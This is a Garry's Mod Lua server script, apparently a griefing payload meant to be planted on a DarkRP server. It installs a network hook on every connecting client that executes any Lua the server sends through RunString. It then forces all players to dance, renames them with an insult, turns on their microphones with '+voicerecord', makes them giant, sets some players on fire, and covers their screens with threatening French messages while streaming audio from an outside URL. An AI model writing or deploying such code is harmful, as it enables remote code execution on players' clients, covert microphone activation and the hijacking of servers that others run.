SKELETTON

util.AddNetworkString "skeleton_dancing_troll"

local lol = {}
function lol:RandomString( intMin, intMax )
    local ret = ""
    for _ = 1, math.random( intMin, intMax ) do
        ret = ret.. string.char( math.random(65, 90) )
    end

    return ret
end

lol.m_tblActions = {}
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]

function lol:PushAction( intChainDelay, func )
    self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
end

function lol:NextAction( pPlayer )
    pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
    if not self.m_tblActions[pPlayer.m_intCurAction] then return end

    timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
        if not IsValid( pPlayer ) then return end
        self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
        self:NextAction( pPlayer )
    end )
end

function lol:Start( pPlayer )
    pPlayer.m_intCurAction = 0
    self:NextAction( pPlayer )
end


function lol:SendLua( pPlayer, strLua )
    net.Start( "skeleton_dancing_troll" )
        net.WriteString( strLua )
    net.Send( pPlayer )
end

function lol:SetupPlayer( pPlayer )
    pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
end


-----START LINE CODE FOR DANSE
for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
-----STOP LINE CODE FOR DANSE

------- STARTCODE FOR FORCE CHANGE NAME
for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", "Sakura Fuck You !") end
------- STOP LINE CODE FOR CHANGE NAME

------- STOP LINE CODE FOR CHANGE NAME
for k,v in pairs(player.GetAll()) do v:ConCommand("+voicerecord") end
------- STOP LINE CODE FOR CHANGE NAME

--------- GIANT
hook.Add("Think", "giant", function()
    for k,v in pairs (player.GetAll()) do
        v:SetModelScale(50.5, 100);
        v:SetRunSpeed(400 * 2);
        v:SetWalkSpeed(200 * 2);
    end
end)
------------------

for k, v in pairs( player.GetAll() ) do
    lol:SetupPlayer( v )
    timer.Simple( 2, function() lol:Start( v ) end )
end

hook.Add( "PlayerAuthed", "wat", function( pPlayer )
    lol:SetupPlayer( pPlayer )
    timer.Simple( 10, function() lol:Start( pPlayer ) end )
end )

hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
    if strText:sub( 1, 5 ) == "/1337" then
        pSender:Ignite( 1e9 )
        pSender:ChatPrint( "Nop" )
        pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
        return false
    end
end )


lol:PushAction( 0, function( pPlayer )
    lol:SendLua( pPlayer, ([[

            sound.PlayURL( "https://supronrp.fr/secret/satan.mp3", "", function()end )

                            local time = 1

        hook.Add( 'RenderScreenspaceEffects', 'loading', function()


        draw.RoundedBox( 0, 0, 0, ScrW(), ScrH(), Color( 0, 0, 0, 255 ) )

            if time == 1 then

            timer.Simple( 5, function() time = 2 end )

    draw.SimpleTextOutlined(
                "Bonjour... Je suis Sakura...",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +1,
                Color(math.random(1,125),math.random(1,2),math.random(1,2)),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color(math.random(1,25),math.random(1,25),math.random(1,25))
            )


                end

                if time == 2 then

                timer.Simple( 5, function() time = 3 end )

                draw.SimpleTextOutlined(
                "Je serait ton pire cauchemard...",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +1,
                Color(math.random(1,125),math.random(1,2),math.random(1,2)),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color(math.random(1,25),math.random(1,25),math.random(1,25))
            )
                end

            if time == 3 then

                timer.Simple( 5, function() time = 4 end )

                draw.SimpleTextOutlined(
                "Je vient ici pour faucher la vie de ce serveur...",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +1,
                Color(math.random(1,125),math.random(1,2),math.random(1,2)),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color(math.random(1,25),math.random(1,25),math.random(1,25))
            )
                end

                if time == 4 then

                timer.Simple( 5, function() time = 5 end )

                draw.SimpleTextOutlined(
                "La ou il disparaitera... en ENFER...",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +1,
                Color(math.random(1,125),math.random(1,2),math.random(1,2)),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color(math.random(1,25),math.random(1,25),math.random(1,25))
            )
                end

                if time == 5 then

                timer.Simple( 5, function() time = 6 end )

                draw.SimpleTextOutlined(
                "A Bientôt... En ENFER...",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +1,
                Color(math.random(1,125),math.random(1,2),math.random(1,2)),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color(math.random(1,25),math.random(1,25),math.random(1,25))
            )
                end


                if time == 6 then

                timer.Simple( 5, function() time = 6 end )

                draw.SimpleTextOutlined(
                "Mhouaaaaa....",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +1,
                Color(math.random(1,125),math.random(1,2),math.random(1,2)),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color(math.random(1,25),math.random(1,25),math.random(1,25))
            )
                end


        end)

    ]]))
end )